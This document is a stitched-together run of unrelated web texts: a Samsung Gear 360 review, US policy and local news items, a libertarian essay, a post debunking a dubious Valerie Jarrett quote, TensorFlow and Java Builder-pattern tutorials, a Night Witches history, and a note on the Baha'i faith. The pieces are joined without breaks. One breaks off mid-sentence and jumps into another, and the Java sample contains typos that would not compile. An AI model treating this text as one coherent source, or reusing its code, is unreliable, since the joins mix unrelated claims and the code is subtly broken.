phones (with limits, which I’ll get to in a moment). You can control the camera from the Gear 360 app, tweak settings, and even get a live preview of what the footage will look like.
This doesn’t mean you won’t run into headaches. The Gear 360 is a simple camera, but it's also often a frustrating one. The biggest source of that frustration comes from what should be a simple process: transferring footage from the camera to your phone. If you shoot a video more than five minutes long on the Gear 360, it takes at least 10 minutes to transfer to your phone. An example: I brought the camera to a friend’s wedding. It was a short ceremony that lasted only eight and a half minutes, but it took me three days and multiple failed attempts to get that file from the camera to the S7 Edge to Facebook. It ultimately took more than 20 minutes to transfer over, which is a long time when you consider that the transfer can be disrupted by either a hiccup in the Bluetooth connection or the camera dying (you can’t transfer footage while the camera is charging). There was a problem with uploading the footage, which is admittedly not just Samsung’s problem. This video wasn’t the kind of thing I wanted to edit down to save on file size — I wanted to share the full ceremony with the people who were there. (This wouldn’t have helped with the transfer either because, even though you can trim clips in the Gear 360 app, you still have to transfer them to the phone first.) But Facebook currently caps its 360-degree uploads at 1GB, something that I only found out when I tried to post the video in the Facebook app; until then, I had been trying to upload the video to Facebook from inside the Gear 360 app, where the process would repeatedly get about 40 percent complete before quitting. The shelf life of this Gear 360 will be short It’s hard to say how much of an outlier this case was because 360-degree media is so new. And transfers of shorter clips went much smoother. But shooting 5, 10, or even 20-minute videos with the Gear 360 won’t be unheard of when you’re still figuring out the format. For a camera that works best when you just hit record and walk away, it's just easy to wind up recording longer videos. Shooting at this length unearthed other troubles, too, because the camera tended to overheat and shut off after about 15 minutes of continuous recording. This part of the experience is probably just a temporary bump in the road for Samsung, but it’s enough to discourage people from experimenting with this camera. And that’s a shame, because experimentation is really what this version of the Gear 360 is best for. This is not the 360-degree camera you will own for years — it’s a first-generation product that, before we know it, Samsung will replace with a true 4K or even 8K model. The shelf life of this version of the Gear 360 is the same shelf life of other pioneering digital cameras: short. Still, it’s fun to get your feet wet shooting in this new format, because no one has really nailed down what makes a "good" 360-degree video outside of the highly produced, near-VR stuff available from news outlets and big name brands. Cameras like the Gear 360 open up room at this opposite end of the spectrum — especially considering that Facebook supports the format. With this in mind, I found myself using the Gear 360 to film moments that were more like home movies, like that wedding. The idea that, years from now, I could throw on a pair of VR goggles and immerse myself in a memory — footage of a friend’s wedding, of me playing with my dog, or even an otherwise normal lunch date with my girlfriend — is a powerful one, and might wind up being the ultimate driver for buying a camera like this in the first place. And the implications of that power are only going to become more pressing as the quality of the cameras increases in the coming years.Package store owners from across Connecticut filled the hallways and a hearing room at the State Capitol in opposition to a measure pushed by the Malloy administration that would eliminate the minimum pricing law.
The law has been on the books for decades and it provides an outlet for suppliers to have an artificial price floor beyond which their bottles can't be sold in any retailer in the state.
Gov. Dannel Malloy has touted removing the minimum bottle pricing law as a way to promote competition and be more customer-friendly.
"I’m confident that the mom and pops cannot only survive with this but they can thrive" said Jonathan Harris, the Commissioner of the Department of Consumer Protection, who spoke in favor of the bill Tuesday in front of a General Assembly committee.
Harris, however, was far outnumbered by the hundreds of package store owners like Nish Patel, who arrived at the Capitol in droves to try to drown the bill.
"We don't know what's going to happen with minimum bottle" Patel said, wh owns a pair of package stores in Middletown and Cromwell.
Patel said stores like his are still dealing with the effects of expanded Sunday sales which were approved last year.
Exclusive Future Uncertain for State CHAMP Fleet
“On the Sunday sales the number stayed the same but we picked up on extra expenses and stuff so obviously that effects the bottom line."
Package stores in Connecticut employ more than 5,000 people and bring in more than a billion dollars every year in overall sales.
Carroll Hughes, a lobbyist who has represented package stores for 40 years said removing the minimum bottle pricing law will lead to much lower prices in larger retailers with significant purchasing power, leaving smaller stores with higher prices and fewer customers. Hughes said the issue isn't about prices considering prices in Connecticut are competitive with surrounding states.
“I think we have to look at what is good for the state of Connecticut and the prices we have are almost all within a dollar or two of the other states, take away the taxes.”
Patel said the legislature should stay out of the industry altogether and said suppliers should lower their minimum prices if they want them sold at cheaper rates to customers.
“It comes from the suppliers and it comes from the distributors" Patel said. "So if they want to lower the prices for the consumer, they can just lower the min bottle on their end and then we can just sell it for that.”Bush Intercontinental to test lower-hassle screening
Homeland Security Secretary Janet Napolitano, accompanied by Transportation Security Administration (TSA) Administrator John Pistole, announces the expansion of a passenger pre-screening initiative, Wednesday, Feb. 8, 2012, at Washington's Ronald Reagan National Airport. (AP Photo/Charles Dharapak) less Homeland Security Secretary Janet Napolitano, accompanied by Transportation Security Administration (TSA) Administrator John Pistole, announces the expansion of a passenger pre-screening initiative, Wednesday,... more Photo: Charles Dharapak Photo: Charles Dharapak Image 1 of / 28 Caption Close Bush Intercontinental to test lower-hassle screening 1 / 28 Back to Gallery
WASHINGTON (AP) - A new passenger screening program to make check-in more convenient for certain travelers is being expanded to 28 more major U.S. airports - including George Bush Intercontinental in Houston, the government said Wednesday.
There will be no cost to eligible passengers, who would no longer have to remove their shoes and belts before they board flights. The airports include the three used by hijackers to launch the terror attacks in September 2001: Washington Dulles International Airport, Newark Liberty International Airport in New Jersey and Boston's Logan International Airport.
The Transportation Security Administration's program, already in a test phase in seven other airports, is the Obama administration's first attempt at a passenger screening program responsive to frequent complaints that the government is not using common sense when it screens all passengers at airports in the same way. Under the new program, eligible travelers have the option to volunteer more personal information about themselves so that the government can vet them for security purposes before they arrive at airport checkpoints.
"Good, thoughtful, sensible security by its very nature facilitates lawful travel and legitimate commerce," Homeland Security Secretary Janet Napolitano said.
The program works this way: Participating travelers will walk through a dedicated lane at airport security checkpoints. They will provide the TSA officer with a specially marked boarding pass. A machine will read the barcode, and travelers deemed "low-risk," will likely be allowed to keep on belts, shoes and jackets and leave laptops and liquids in bags when being screened.
Not everyone is eligible to participate in the program, which is already being tested at airports in Atlanta, Dallas, Detroit, Miami, Las Vegas, Los Angeles and Minneapolis-St. Paul. Eligible travelers are some of those who participate in American and Delta airlines' frequent flier programs, as well as travelers in three other trusted traveler programs, which do charge fees to participate. About 336,000 passengers have been screened through the program since the testing began last year, according to the Transportation Security Administration.
By the end of 2012, the government expects select passengers in frequent flier programs for US Airways, United and Alaska Airlines to be eligible to participate. The program is expected to be operating in Reagan National Airport near Washington, Salt Lake City International Airport, John F. Kennedy International Airport in New York and Chicago's O'Hare International Airport by the end of March.
"We are pleased to expand this important effort, in collaboration with our airline and airport partners, as we move away from a one-size-fits-all approach to a more intelligence-driven, risk-based transportation security system," said TSA chief John Pistole.
Pistole has said he hopes to eventually test the program at all airports and with all airlines around the country, but that might take years.
The program is expected to be operating in these airports by the end of 2012: Baltimore-Washington International Thurgood Marshall Airport, Charlotte Douglas International Airport, Cincinnati/Northern Kentucky International Airport, Denver International Airport, Fort Lauderdale-Hollywood International Airport, Houston's George Bush Intercontinental Airport, Honolulu International Airport, New York's LaGuardia Airport, Lambert-St. Louis International Airport, Louis Armstrong New Orleans International Airport, Puerto Rico's Luis Munoz Marin International Airport, Orlando International Airport, Philadelphia International Airport, Phoenix Sky Harbor International Airport, Pittsburgh International Airport, Oregon's Portland International Airport, San Francisco International Airport, Seattle-Tacoma International Airport, Florida's Tampa International Airport and Alaska's Ted Stevens Anchorage International Airport.WASHINGTON, April 29 (Reuters) - The chairman of the U.S. Senate committee responsible for trade said on Wednesday he will fight to keep lawmakers from adding tough rules against currency manipulation to legislation meant to ease passage of a Pacific trade pact.
Orrin Hatch, the Utah Republican who heads the Senate Finance Committee, said he wanted the “fast-track” trade legislation to pass the full Senate in its original form. Some lawmakers want to add currency rules and another change that backers of the trade deal have dubbed a “poison pill”.
Hatch also aimed to strip out an amendment passed by the Senate panel which would disqualify trade deals with countries deemed soft on human trafficking from the special procedures designed to speed deals through Congress. The list of offending countries includes Trans-Pacific Partnership (TPP) member Malaysia.
If it passes, the legislation would require to Congress to vote up or down on trade deals like the TPP, linking 12 nations from Japan to Chile. Without fast track in place, lawmakers would be able to amend the trade pact, possibly sending U.S. officials back to the negotiating table.
“We are going to try to keep amendments out because what we have, basically I think would be accepted by these countries and would be accepted by the House (of Representatives) as well,” Hatch said on the sidelines of a Politico event.
Hatch said during the event it would be “catastrophic” if the TPP was scuttled because of a push to allow sanctions against trading partners who deliberately weaken their currencies to make their exports cheaper. He said currency concerns could be addressed in other ways.
The U.S. Treasury has warned that such rules in the fast-track bill, which allows lawmakers to set negotiating objectives, could derail negotiations.
Many lawmakers are angry about the impact of past currency interventions by TPP partner Japan and by China, although a bid to insert currency rules in the bill as it was being debated by the Senate committee failed.
Republican Rob Portman, who is under pressure from Democrats over his support for free trade in his 2016 re-election campaign, is expected to push again for tough currency rules when the bill comes before the full Senate, likely in May.
Hatch hoped no Republicans would vote against it simply because they oppose President Barack Obama, saying that would be “cheap politics.” (Reporting by Krista Hughes; Editing by David Gregorio)The past few months have been busy, to say the least. The Obama administration announced a series of executive actions regarding immigration and that has taken up most of my time. Meanwhile in my day job as a graduate student I’ve been overwhelmed with midterms and finals; I am sure my fellows in NoL can sympathize with this. The few moments of peace I have enjoyed have gone towards pondering one question: Who is an American?
The question is not isolated. By asking who an American is, I’m really asking what ethnicity, and other social groups, really are. The best answer to my question was an old Cato blog post appropriately titled, What is an American? In it Edward Hudgins discusses what makes an American. It is not, as some believe, a common language, creed, or ancestry. What makes an American is his love for liberty. It is in his closing remarks that Hudgins hits on something amazing, there is no meaningful thing as ‘American’.
Unfortunately, the American spirit has eroded. Our forebears would look with sadness at the servile and envious character of many of our citizens and policymakers. But the good news is that there are millions of Americans around the world, living in every country. Many of them will never make it here to the United States. But they are Americans, just as my grandpop was an American before he ever left Italy.
There exists those individuals who can prefix themselves as Americans, but at best this only tells us that they are somehow affiliated with the American continent. There exists a group of people who yearn for liberty and are willing to fight for it, but many of them were neither born or live in the United States. Likewise there are those who were born and live in the United States who are no friends of liberty. And so my initial question has lead me to a new one. Why not promote being a libertarian as an ethnicity? Why not introduce ourselves as ‘Libertarios’ instead of Americans, Germans, or Turks?
At first my proposal may sound strange to some. Would it not be silly to define an ethnicity by political views? I don’t think so. Few ethnic groups have a concrete basis in reality and are based more on fiction than anything else. I was born in Mexico, raised in the United States, and am directly descended from Germans, Jews, and Cubans. I feel little fraternity to these latter groups though. Why should I? I didn’t elect to have Jewish or Mexican ancestry, but I did elect to be a libertarian. Anyone who proclaims to be a libertarian automatically has my sympathy and support, even if I know nothing else about them. As this is the case I would prefer to be identified as a Libertario than any other ethnic group.
I am sure that there are those who would prefer not to be identified by any collective label at all. For those of you who fall into this category I would offer a pragmatic case for identify as Libertario.
I hope it can be taken for granted that, as libertarians, we wish there to be more libertarians. In the best scenario more libertarians in the world might lead to better public policy. In the worst scenario we at least have more potential friends. By promoting our existence as an ethnic group we would encourage more people to remain as libertarians. I have often found people who have libertarian political views, but who withdraw from participation if they become discouraged about the hope for change in their lifetimes. If we were an ethnic group though these individuals would continue to promote liberty, if only to signal their membership in the group. An ethnic group therefore not only encourages members to remain active, but produces positive externalities to promote the group’s message.
For comparison consider the Mormon people. Many Mormons spend time advocating on behalf on their religion, with several even going abroad on missionary work. From anecdotal experience I’ve noticed that many of them are ill treated when they perform their advocacy. Why do they bother to do so then? Because, as I’ve noted above, it signals their membership in the Mormon community. The average Mormon may not particularly enjoy being harassed for their beliefs, but they do it anyway to tell other Mormons a simple message, “I’m one of you.”
It goes without saying that there must be a benefit to belonging to a given group for this to work.
Additionally the existence of an ethnic libertario community would make raising children to be libertarians much easier. I side with Bryan Caplan in the belief that a relatively easy way to grow the movement is by simply having more children than the general population. It doesn’t matter if you believe children’s political beliefs, and by extension their ethics and other characteristics, are shaped by genetics or their nurturing, a libertario community would help with producing children. If you believe in the genetic argument, then an ethnic community reduces the cost of finding a spouse who shares your political beliefs. If you believe in the nurture argument, then surely a child raised among libertarians is more likely to end up being one himself.
Thoughts? Am I just crazy? Or do you have a counter proposal to ‘Libertario’ as our ethnic label? Comment below.In our last post highlighting Glenn Beck’s declaration that if Americans are “so dead inside” that they re-elect President Obama, then America will “have to be destroyed” because the nation has lost the ability to differentiate good from evil, Beck made a passing reference to a quote from Valerie Jarrett, President Obama’s Senior Advisor.
It was this supposed quote from Jarrett that demonstrated, for Beck, the fundamentally evil nature of the entire Obama administration, and he had it read out repeatedly during the segment – here is the quote:
After we win this election, it’s our turn. Payback time. Everyone not with us is against us and they better be ready because we don’t forget. The ones who helped us will be rewarded, the ones who opposed us will get what they deserve. There is going to be hell to pay.
It was this quote that prompted Beck to proclaim that America was on the verge of reaping God’s wrath … but where did it come from? The quote is posted on all sorts of conservative websites and blogs, but they all eventually link back to a blog called The Ulsterman Report.
And where did “Ulsterman” get this quote? From an pseudonymous source he calls “Wall Street Insider” who claims to have received it from a source he supposedly has within the Obama campaign in Chicago:
Thought you would be very interested to hear of this. It appears this Jarrett creature is quite confident of a victory, and has every intention of making those who opposed her, and her boy, of paying dearly for their seeming crimes against them. As Election Day is nearly upon us, more and more are willing to speak outside the inner circle. Such is the case with this message received by me this morning from a source who has been working for us via Chicago for several months now. Their campaign appears increasingly confident, I assume, due to the now adoring media coverage of their boy’s little march with the commoners following this week’s storm. It has been a revolting display by some in our media has it not? Here then is the most recent report I received our Chicago source. I first passed it along to our mutual friend with no response, so now I pass it along to you in the hopes you deem it worthy to publish as its sharing will serve a related purpose with another I hope to secure a favor from in the very near future. And if you have any concerns regarding the source – don’t. They are being thoroughly protected despite their understandable trepidation. As you have been.
The “Wall Street Insider” then forwarded a message supposedly written by the mole inside the Obama campaign which contains the quote that so outraged Beck:
A rep from Jarrett office was in today. She gave us a finish line pep talk and then afterwards, heard her saying how Jarrett is very excited about a 2nd term agenda and a big part of that agenda is to punish everyone who opposed them during the first term and the campaign. Strange that everything was “Ms. Jarrett wants this, and Ms. Jarrett is looking forward to that”. You hardly heard Obama’s name mentioned by her which I guess reinforces what people are saying. Valerie Jarrett really is the power in the White House. I know that when her representative showed up it was like royalty was visiting. All the big dogs were lined up to meet her and acting real friendly and they gave us a heads up an hour before and told us we better “put on a good show” while she was here. The part that really stuck out to me was when I overheard the rep say that Jarrett told them, “After we win this election, it’s our turn. Payback time. Everyone not with us is against us and they better be ready because we don’t forget. The ones who helped us will be rewarded, the ones who opposed us will get what they deserve. There is going to be hell to pay. Congress won’t be a problem for us this time. No election to worry about after this is over and we have two judges ready to go.” She was talking directly to about three of them. Sr. staff. And she wasn’t trying to be quiet about it at all. And they were all listening and shaking their heads and smiling while she said it. Pretty creepy.
Let’s get this straight: an anonymous source supposedly within the Obama campaign supposedly overheard a representative from Jarrett’s office make this statement and attributed it to Jarrett herself; it was then passed along to some pseudonymous source named “Wall Street Insider” who then forwarded it to The Ulsterman Report … and it eventually ended up on Glenn Beck’s radio program where the quote was treated as entirely legitimate and a sign that America deserves to be destroyed.
Wasn’t it just over a week ago when Beck said that someone who would so willingly and unapologetically lie to his audience must either “have deep psychological problems” or be totally insane?I’ve seen a lot of confusion over the rules of tf.Graph and tf.Session in TensorFlow. It’s simple:
A graph defines the computation. It doesn’t compute anything, it doesn’t hold any values, it just defines the operations that you specified in your code.
A session allows to execute graphs or part of graphs. It allocates resources (on one or more machines) for that and holds the actual values of intermediate results and variables.
Let’s look at an example.
Defining the Graph
We define a graph with a variable and three operations: variable returns the current value of our variable. initialize assigns the initial value of 42 to that variable. assign assigns the new value of 13 to that variable.
graph = tf. Graph () with graph. as_default (): variable = tf. Variable ( 42, name = 'foo' ) initialize = tf. global_variables_initializer () assign = variable. assign ( 13 )
On a side note: TensorFlow creates a default graph for you, so we don’t need the first two lines of the code above. The default graph is also what the sessions in the next section use when not manually specifying a graph.
Running Computations in a Session
To run any of the three defined operations, we need to create a session for that graph. The session will also allocate memory to store the current value of the variable.
with tf. Session ( graph = graph ) as sess : sess. run ( initialize ) sess. run ( assign ) print ( sess. run ( variable )) # Output: 13
As you can see, the value of our variable is only valid within one session. If we try to query the value afterwards in a second session, TensorFlow will raise an error because the variable is not initialized there.
with tf. Session ( graph = graph ) as sess : print ( sess. run ( variable )) # Error: Attempting to use uninitialized value foo
Of course, we can use the graph in more than one session, we just have to initialize the variables again. The values in the new session will be completely independent from the first one:
with tf. Session ( graph = graph ) as sess : sess. run ( initialize ) print ( sess. run ( variable )) # Output: 42
Hopefully this short workthrough helped you to better understand tf.Session. Feel free to ask questions in the comments.
Updated 2017-07-12: The operation to initialize variables changed in TensorFlow 1.0.
You can use this post under the open CC BY-SA 3.0 license and cite it as:
@misc{hafner2016tfsession, author = {Hafner, Danijar}, title = {What is a TensorFlow Session?}, year = {2016}, howpublished = {Blog post}, url = {https://danijar.com/what-is-a-tensorflow-session/} }The Night Witches
The Russians were the only women in the world who engaged in aerial combat during World War Two. These daring young women, some of them just teenagers, flew lightweight aircraft that dodged and darted and dropped bombs on the enemy under cover of darkness. So feared were they that the Germans called them The Night Witches.
Regular Wartime Wednesdays readers will know about my fondness for women in uniform – but these Russian girls were in a class of their own! While Allied women were not allowed to fill combat roles, Russian women were flying, fighting and dying. Thank goodness they were on our side. This week's post is written by Suzy Henderson, who lives in the lovely Lake District of England. We became acquainted online through our mutual passions for military history, Lancasters, and writing. You can read more about Suzy at the end of this fascinating article about the Night Witches. By Suzy Henderson It’s April 1942. Pilots stand by their aircraft, preparing for a bombing mission. The air is cool, and their breath leaves silvery vapour in the still of the night. Banter flows but there is an edge of seriousness, a feeling of uncertainty mixed with strong emotion. This is no ordinary sight, no ordinary squadron. This is Russia. And the pilots – are women. Women, prepared to die for their country, in their own battle against the Luftwaffe and Germany’s advancing armies.
Russia’s story stands out simply because it was the first country, and indeed the only country, to have women pilots flying in battle during World War Two. And the women who served with the Soviet Air Force had the hearts of lions, especially if you consider what they were flying. Their aircraft was outdated, inferior to the German, British and American aircraft, and flimsy in construction. Yet these women warriors of the sky defied all the odds. They had a very high success rate and were greatly feared by the Germans. Indeed, it was the Luftwaffe who gave these women their name, The Night Witches. Marina Raskova is often regarded as the Russian Amelia Earhart. She was born in 1912 and became the first female navigator with the Soviet Air Force in 1933. A year later she was teaching at the Zhukovskii Air Academy, the first woman ever to have achieved this level. Before the war Raskova, along with two women co-pilots, made a record-breaking non-stop flight from Moscow to the Far East of Russia. When war broke out, she and many other female pilots volunteered, but their applications were blocked. However, there was a radical turnabout in 1942, when Hitler’s army invaded the Soviet Union. Three million Russians became prisoners of war and the Soviet Air Force was badly in need of recruits. Raskova took her chance. Supposedly she spoke with Stalin, convincing him of the merits of a greater fighter force – an all-women air force, to assist the war effort. She got what she wanted. The 588th Fighter Aviation Regiment began operations in 1942. In February 1943 it was reorganized into the 46th Taman Guards Night Bomber Aviation Regiment, known unofficially as "Stalin's Falcons." The third unit, the 125th Guards Bomber Aviation Regiment, was commanded by Marina Raskova until she crashed her aircraft on landing and died in 1943. She was just thirty years old. Marina Raskova was given a state funeral and laid to rest in Red Square, Moscow, the city of her birth.
Altogether eighty women flew with the Russian air force. From 1942 to 1945 the three female regiments flew a combined total of more than 30,000 sorties, dropping bombs upon the German army until they retreated back to Berlin. Mostly in their late teens and early twenties when they joined up, these women became heroes during the war, but are now largely forgotten. Two of the women were fighter aces, and twenty-three others were awarded the title, “Hero of the Soviet Union.” By the end of the war, thirty women had given their lives in battle, including Raskova. The pilot pictured below is Mariya Dolina. Born in Siberia, she moved to Ukraine with her parents and took flying lessons as a teenager. She joined the air force and became one of the best pilots of Raskova's 125th Regiment. She described herself as being "impulsive and excessively restless," but flew seventy-two successful missions. She died in 2010.
Another of the pilots was Hiuaz Dospanova, born in Kazakhstan in May 1922, the only female pilot from her country to serve with the Russian Air Force. Dospanova demonstrated immense spirit and determination in 1941 when she rushed to the front to protect her country against the advancing Germans. But she wanted to fly. Aware that Raskova commanded the women’s air force, Dospanova went to see her and was immediately accepted. Following Raskova’s death in 1943, Dospanova became the head of communications of the 46th Guards. Flying more than 300 missions, she fractured both legs during a night landing in blackout conditions. But within three months she returned to her regiment to continue the fight. Hiuaz Dospanova received the Order of the Red Star. In 2004, by the decree of the President of Kazakhstan, Dospanova was awarded the title of National Hero. She died in 2008. (Photo Credit: History of Kazakhstan)
Natalya Kravtsova was born in the Ukraine. In 1940 she joined the glider school at Kiev and two years later, at the age of nineteen, she became one of The Night Witches, flying with the 588th Regiment. By the end of the war, Natalya Kravtsova had flown 980 night missions.
Nadia Popova, one of the first volunteer pilots, was motivated both by patriotism and revenge. She was once quoted as saying that she could see "the smiling faces of the Nazi pilots" as they strafed women and children in the streets as they fled from their Luftwaffe attackers. Popova's own brother was killed after the Germans invaded. Her family home was commandeered by the Germans to use as a Gestapo police station, when they smashed the windows and cut down the long |
before she can truly accept her royal destiny. She boldly puts her crown and impending marriage on hold to seek out epic adventures, much to the dismay of the King who, after missing out on Rapunzel’s youth, must accept that his daughter is now an independent young woman.”
Mandy Moore and Zachary Levi will be back to voice their roles as Rapunzel and Flynn Rider. Composer Alan Menken and lyricist Glenn Slater will write the music and Chris Sonnenburg (Enchanted) and Shane Prigmore (The Lego Movie) will co-produce.
News source: Entertainment Weekly
Photo credit: Disney ChannelAs part of the celebrations for the opening of the Expo Line to Santa Monica on Friday, May 20, the Los Angeles County Metropolitan Transportation Authority (Metro) will offer free rides on Friday and Saturday and will hold station celebrations on Saturday, May 21.
The free rides will be on the entire Expo Line, from 7th St/Metro Center to Downtown Santa Monica. On Friday, free rides will begin at noon and will continue until the close of service. On Saturday, May 21, the free rides will start at 4:42 a.m. in Downtown Santa Monica and at 4:45 a.m. at 7th/Metro Center and will last until the end of service around 2 a.m.
“We invite the public to join us on Friday and Saturday to celebrate the historic opening of the Metro Expo Line to Santa Monica,” said Metro CEO Phillip A. Washington. “We encourage the community to enjoy this new light-rail line service and see for themselves how close to the beach Metro can get you.”
The station celebrations will be Saturday from 10 a.m. to 4 p.m. at the following new stations: Downtown Santa Monica, 17th St/SMC, 26th St/Bergamot, Expo/Bundy and Palms. The Culver City Station that has been open since 2012 will be joining the celebrations. Entertainment, children’s activities, food trucks, bike valet and bike-pit stops and information booths are among the activities.
About the Expo Line Extension
The $1.5-billion, 6.6-mile light rail project from Culver City to Santa Monica has seven new stations: Palms, Westwood/Rancho Park, Expo/Sepulveda, Expo/Bundy, 26th Street/Bergamot, 17th Street/Santa Monica College and Downtown Santa Monica. Each station features original art.
Three stations will have park-and-ride facilities: Expo/Sepulveda (260 parking spaces), Expo/Bundy (250 parking spaces) and 17th Street/Santa Monica College (70 parking spaces).
The Expo Line to Santa Monica includes a paved bike path that runs along most of the right-of-way between Culver City and the 17th Street/SMC Station. The bikeway includes lighting and landscaping, and each station has secure bike racks and lockers for the convenience of cyclists using the Metro system.
The new rail maintenance facility in Santa Monica can house up to 48 light-rail vehicles and will operate on a 24/7 basis.
Expo Line Phase 2 was built by the Expo Construction Authority, an independent transportation planning and construction agency. It was largely funded by Measure R, the half-cent sales tax measure approved by Los Angeles County voters in 2008. Construction of Phase 2 began in 2011 and the project was completed in early 2016 and handed over to Metro for operation.
Like this: Like Loading...It’s been a while since my last post, so let’s take a look at how we can abuse the Builder pattern in Java and Android!
Builder Pattern?
If you’ve dabbled even just a bit with Android, you’ve probably seen the builder pattern in action. In short, the pattern consists of a Builder class which you use to construct an object of another class. For instance in Android the pattern is used when you create a dialog:
// Create the builder AlertDialog. Builder builder = new AlertDialog. Builder ( getContext ()); // Build the object builder. setTitle ( "Warning!" ). setMessage ( "You're about to destroy your phone. Proceed?" ). setPositiveButton ( "Yeah", destroyClickListener ). setNegativeButton ( "Nah", null ). create () // <-- AlertDialog created!. show ();
Seems rather simple! The best part is, your builder could provide default values for properties (e.g. default title text), and you can create multiple similar objects using the one and same builder. Neat! But wait, how does this all work under the hood?
Builders VS constructors
Let’s take a simple example: you want a nifty way to create game NPCs. The NPCs each have a distinct name. Our NPC class could look like this:
public class NPC { private String name ; public NPC ( String name ) { this. name = name ; } }
So far so good. But wait, our NPCs each have a gender! Let’s add that:
public class NPC { private String name ; private boolean male ; public NPC ( String name, boolean isMale ) { this. name = name ; this. male = isMale ; } }
Still manageable. But now we’d like to have height, color of eyes, color of hair, sexual preference and the favorite color for each NPC. Sigh…
public class NPC { private String name ; private boolean male ; private float height ; private Color eyeColor ; private Color hairColor ; private String sexualPreference ; private Color favoriteColor ; public NPC ( String name, boolean isMale, float height, Color eyeColor, Color hairColor, String sexualPreference, Color favoriteColor ) { this. name = name ; this. isMale = male ; this. height = height ; this. eyeColor = eyeColor ; this. hairColor = hairColor ; this. sexualPreference = sexualPreference ; this. favoriteColor = favoriteColor ; } }
Ehh… Not that nice anymore. So, let’s take a builder to aid us! A basic builder would look like this:
// Awesome builder for our NPCs public class Builder { public Builder () { } // Creates a new NPC public NPC build () { return new NPC (); } }
There’s nothing fancy here yet - just a barebones builder you can use like this:
Builder builder = new Builder (); NPC shopkeeper = builder. build (); NPC blacksmith = builder. build ();
Nice! But all the NPCs are still the same. Let’s add a way of naming the NPCs:
public class Builder { private String name ; public Builder () { } public Builder name ( String name ) { this. name = name ; return this ; } public NPC build () { return new NPC ( this. name ); } }
Do note that the name() method returns the builder itself. This is useful for method chaining - let’s get back to that in a moment.
Now we can name the NPCs whatever we like:
Builder builder = new Builder (); NPC shopkeeper = builder. name ( "Greedy Sven" ). build (); NPC blacksmith = builder. name ( "Haegrid the Soot-faced" ). build ();
See where we’re heading? We can now name each NPC how we like! Let’s just do a small change to our builder and NPC classes - let’s pass the builder as an argument to the NPC, and let’s also make the builder an inner static class of NPC:
public class NPC { private String name ; // Note the private constructor! private NPC ( NPC. Builder builder ) { // Get the name from the builder this. name = builder. name ; } public static class Builder { private String name ; public Builder () { } public Builder name ( String name ) { this. name = name ; return this ; } public NPC build () { // Pass the builder to the NPC as a parameter return new NPC ( this ); } } }
Now, if you try to construct an NPC without a builder, you… well, you can’t. We marked our NPC’s constructor as private, so it can only be called from the “inside”. Now, the usage changed only slightly:
// NPC.Builder instead of just Builder NPC. Builder builder = new NPC. Builder (); NPC shopkeeper = builder. name ( "Greedy Sven" ). build ();
To wrap it all up, let’s add all the original fields to our NPC and Builder classes AND let’s make some of the fields have a default value:
public class NPC { private String name ; private boolean male ; private float height ; private Color eyeColor ; private Color hairColor ; private String sexualPreference ; private Color favoriteColor ; private NPC ( Builder builder ) { this. name = builder. name ; this. male = builder. male ; this. height = builder. height ; this. eyeColor = builder. eyeColor ; this. hairColor = builder. hairColor ; this. sexualPreference = builder. sexualPreference ; this. favoriteColor = builder. favoriteColor ; } public static class Builder { private String name ; private boolean male ; private float height ; private Color eyeColor = Color. GREEN ; private Color hairColor = Color. POO ; private String sexualPreference = "Carnivore" ; private Color favoriteColor = Color. OCTARINE ; public Builder () { } public Builder name ( String name ) { this. name = name ; return this ; } public Builder male () { this. male = true ; return this ; } public Builder female () { this. male = false ; return ths ; } public Builder height ( float height ) { this. height = height ; return this ; } public Builder eyes ( Color eyeColor ) { this. eyeColor = eyeColor ; return this ; } public Builder hair ( Color hairColor ) { this. hairColor = hairColor ; return this ; } public Builder prefers ( String preference ) { this. sexualPreference = preference ; return this ; } public Builder favoriteColor ( Color favColor ) { this. favoriteColor = favColor ; return this ; } public NPC build () { return new NPC ( this ); } } }
Phew! A bit lengthy example, but it really pays off. Let’s have a look at how we’ll use this newly-introduced builder:
NPC. Builder builder = new NPC. Builder (); // A default NPC NPC justSomeGal = builder. build (); // A black-haired man with some odd hobbies NPC duckLover = builder. male (). prefers ( "Poultry" ). hair ( Color. BLACK ). build (); //... and his wife, who also has the same hobby and black hair NPC duckLoversWife = builder. female (). build ();
It becomes really easy to adjust the parameters, to create similar objects, and the creation becomes more legible.
Conclusion
Builders are a neat way of constructing complex objects. They’re an awesome solution if you ever have a big list of properties you want to define for an object. For classes with just one or two constructor arguments, you’re better off without a builder - either create the objects directly or use a static factory method.On. Oct. 16, FBI special agents executed a search warrant on a room at the Quality Inn motel near 41st Street and Highway 169 in Tulsa. They found four kilograms of heroin believed to be connected to a large heroin ring and arrested two people. (KTUL)
A grand jury has indicted five people charged in connection with a large-scale heroin operation in Tulsa.
The Department of Justice says 27-year-old Martin Estaban-Flores, 27-year-old Wilber Ramirez, 25-year-old Antonio Mauro Inda-Ibarra, 40-year-old Richardo Desantiago Garcia and 22-year-old Angel Verdin Martinez have all been charged with eight counts. They are all accused of running a heroin distribution network in Tulsa that operated similarly to a typical pizza delivery service.
The FBI has been conducting a long-term investigation on the heroin ring, dubbed "Operation: Papa Juan's." The Tulsa and Broken Arrow Police Departments helped in the investigation.
The federal indictment accuses Flores of acting as a dispatcher who took calls from customers wanting to place orders for heroin. Flores would then direct customers to specific locations to meet delivery drivers, according to the DOJ.
The delivery drivers would deliver the heroin to customers in balloons, the DOJ says. Each balloon would reportedly contain one gram of heroin and cost $100. The indictment says these transactions usually took about 30 minutes.
Two of the suspects acting as delivery drivers sold heroin to an undercover officer, according to the DOJ.
On. Oct. 16, FBI special agents executed a search warrant on a room at the Quality Inn motel near 41st Street and Highway 169 in Tulsa. Agents watched Flores and Ramirez enter the room and used a wiretapped phone to hear what sounded like the packaging of heroin, according to the DOJ.
In the room, law enforcement agents found about four kilograms of heroin (about 16,000 doses with a street value of $400,000 to $500,000), more than $1,200 in cash, eight cell phones, and drug paraphernalia and processing equipment, according to the DOJ.
"Heroin and illegal opiate drugs are poisoning our local communities," U.S. Attorney R. Trent Shores said in a press release. "The United States Attorney's Office stands ready to work with federal, state, local, and tribal partners to aggressively prosecute those who would seek to profit from the trafficking of heroin."
The five defendants were charged with heroin conspiracy, possession of heroin with intent to distribute, distribution of heroin and other counts.Iraq is one of the main starting points of the Baha'i religion. Baha'u'llah, the founder of the religion, spent 10 years in Iraq, where he announced his religious call. This occurred in the Radwan garden in Baghdad, which is said to be on the banks of the Tigris River in what is currently Baghdad Medical City. The Baha’i religion was preceded by a heavy presence of the followers of Bab (another central figure to the Baha'i religion) in Iraq, most notably Tahirih Qurratu l-`Ayn, the most prominent female figure among them.
